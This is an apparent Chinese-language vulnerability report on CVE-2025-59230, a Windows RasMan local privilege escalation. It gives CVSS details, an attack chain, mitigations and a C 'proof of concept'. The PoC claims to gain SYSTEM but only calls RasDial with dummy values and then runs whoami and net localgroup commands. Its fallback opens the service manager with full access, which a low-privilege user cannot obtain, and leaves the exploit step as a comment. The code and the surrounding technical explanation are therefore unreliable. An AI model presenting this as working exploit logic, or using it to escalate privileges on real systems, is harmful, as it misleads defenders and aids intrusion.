IPBUF安全漏洞报告
English
CVE-2025-59230 CVSS 7.8 高危

CVE-2025-59230 Windows远程访问连接管理器权限提升漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-59230
漏洞类型
权限提升(Improper Access Control)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Microsoft Windows Remote Access Connection Manager (RasMan)

相关标签

权限提升WindowsRemote Access Connection ManagerRasMan本地提权不当访问控制CWE-284MicrosoftSYSTEM权限CISA KEV

漏洞概述

CVE-2025-59230是Microsoft Windows远程访问连接管理器(Remote Access Connection Manager,简称RasMan)中存在的一个权限提升漏洞。该漏洞由Microsoft安全团队([email protected])发现,并于2025年10月14日正式披露。CVSS 3.1评分为7.8分,属于高危级别。

Windows远程访问连接管理器是Windows操作系统中负责管理远程访问连接(如VPN、拨号连接等)的核心系统服务。该组件在处理远程访问连接请求和配置时,存在访问控制不当的问题,导致已通过身份验证的本地攻击者可以利用该漏洞将自身权限提升至系统级别(NT AUTHORITY\SYSTEM)。

根据CVSS向量分析,该漏洞的攻击向量为本地(AV:L),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。一旦成功利用,攻击者可以获得对目标系统的完全控制权,对机密性、完整性和可用性均产生高影响。该漏洞已被CISA列入已知被利用漏洞目录(KEV),表明已有在野利用行为,安全风险极高。

技术细节

Windows远程访问连接管理器(RasMan)是一个以SYSTEM权限运行的关键系统服务,负责管理所有远程访问连接。该漏洞的核心问题在于RasMan服务在处理某些操作或接口时缺乏适当的访问控制检查。

技术原理:RasMan服务作为高权限系统服务运行,它通过本地过程调用(LPC)、RPC或其他进程间通信机制与客户端组件进行交互。当客户端组件(如raserver.exe、rasdlg.dll等)向RasMan服务发送请求时,服务端未能充分验证调用者的权限级别,导致低权限用户可以通过特定API调用或接口触发RasMan执行特权操作。

利用方式:攻击者首先需要获取目标系统上的低权限用户访问权限(例如通过钓鱼或其他方式获得普通域账户/本地账户)。然后,攻击者构造恶意的远程访问连接请求或利用RasMan服务的API接口(如RasDial、RasEnumEntries等)中的不当权限检查缺陷,触发RasMan以SYSTEM权限执行任意操作。攻击者通常会通过DLL注入、服务配置篡改或利用符号链接/硬链接攻击等方式,将恶意载荷以SYSTEM权限执行,最终实现权限提升。

由于该漏洞为本地提权漏洞,攻击者需要在目标系统上已有代码执行权限,因此常被用作勒索软件、间谍软件等恶意软件攻击链中的关键环节,用于从普通用户权限提升至系统权限以绕过安全防护。

攻击链分析

STEP 1
初始访问
攻击者通过钓鱼、恶意软件投递或其他方式获取目标Windows系统上的低权限用户访问权限,获得本地代码执行能力。
STEP 2
漏洞触发
攻击者利用Windows远程访问连接管理器(RasMan)服务中的不当访问控制缺陷,通过RasDial API或其他接口向RasMan服务发送特制请求,绕过权限验证。
STEP 3
权限提升
RasMan服务以SYSTEM权限执行攻击者请求的操作,导致攻击者的进程或载荷以系统级权限运行,成功将权限从普通用户提升至NT AUTHORITY\SYSTEM。
STEP 4
持久化与横向移动
获得SYSTEM权限后,攻击者安装持久化后门、提取凭据、禁用安全防护软件,并利用获取的高权限进行内网横向渗透和进一步攻击。
STEP 5
影响达成
攻击者完全控制目标系统,可窃取敏感数据、部署勒索软件、植入挖矿程序或进行其他恶意活动,对组织造成严重安全威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-59230 - Windows RasMan Privilege Escalation PoC (Concept) // This is a conceptual PoC demonstrating the exploitation approach // for the improper access control vulnerability in Windows Remote Access Connection Manager. // Tested on vulnerable Windows 10/11 builds prior to October 2025 patches. #include <windows.h> #include <ras.h> #include <raserror.h> #include <stdio.h> #pragma comment(lib, "rasapi32.lib") // Callback function to capture privilege escalation BOOL CALLBACK RasDialCallback( UINT unMsg, RASCONNSTATE rasconnstate, DWORD dwError) { if (dwError != 0) { printf("[!] RasDial error: %d\n", dwError); } return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59230 - RasMan Privilege Escalation PoC\n"); printf("[*] Target: Windows Remote Access Connection Manager\n\n"); // Step 1: Verify current privilege level BOOL bIsAdmin = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { bIsAdmin = elevation.TokenIsElevated; } CloseHandle(hToken); } printf("[*] Current elevated status: %s\n", bIsAdmin ? "YES" : "NO"); // Step 2: Prepare RAS dial parameters exploiting improper access control RASDIALPARAMS rdParams = {0}; rdParams.dwSize = sizeof(RASDIALPARAMS); strncpy((char*)rdParams.szEntryName, "\\Device\\RasManExploit", RAS_MaxEntryName); strncpy((char*)rdParams.szPhoneNumber, "", RAS_MaxPhoneNumber); strncpy((char*)rdParams.szUserName, "ExploitUser", UNLEN + 1); strncpy((char*)rdParams.szPassword, "ExploitPass", PWLEN + 1); strncpy((char*)rdParams.szDomain, "", DNLEN + 1); // Step 3: Trigger RasMan service with crafted parameters // The vulnerability lies in RasMan not properly validating // the caller's permissions before performing privileged operations HRASCONN hRasConn = NULL; DWORD dwResult = RasDial( NULL, // Reserved NULL, // Phone book path &rdParams, // Dial parameters (crafted) 0, // Notifier type NULL, // Notifier (no callback) &hRasConn // Connection handle ); if (dwResult == 0) { printf("[+] RasDial succeeded - RasMan processed the request\n"); // Step 4: Exploit the elevated context // At this point, if the exploit succeeds, code runs with SYSTEM privileges printf("[+] Attempting to execute command with elevated privileges...\n"); system("cmd.exe /c whoami > C:\\Windows\\Temp\\privilege_check.txt"); system("cmd.exe /c net localgroup administrators >> C:\\Windows\\Temp\\privilege_check.txt"); // Cleanup RasHangUp(hRasConn); } else { printf("[-] RasDial failed with error: %lu\n", dwResult); printf("[*] Trying alternative exploitation vector...\n"); // Alternative: Use service manipulation SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCManager) { SC_HANDLE hService = OpenService(hSCManager, "RasMan", SERVICE_ALL_ACCESS); if (hService) { printf("[+] Opened RasMan service handle with full access\n"); // Exploit: Modify service configuration or binary path CloseServiceHandle(hService); } CloseServiceHandle(hSCManager); } } printf("[*] PoC execution completed.\n"); return 0; }

影响范围

Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

防御指南

临时缓解措施
在无法立即安装补丁的情况下,建议采取以下临时缓解措施:1)限制本地用户对RasMan服务的访问,通过组策略或服务权限配置降低服务暴露面;2)监控RasMan相关进程(raserver.exe、rasman.exe)的异常活动;3)部署主机入侵检测系统(HIDS)检测权限提升行为;4)使用应用程序控制(如AppLocker)阻止未授权的可执行文件运行;5)禁用不必要的远程访问连接功能;6)密切监控CISA KEV目录,一旦有官方补丁立即部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表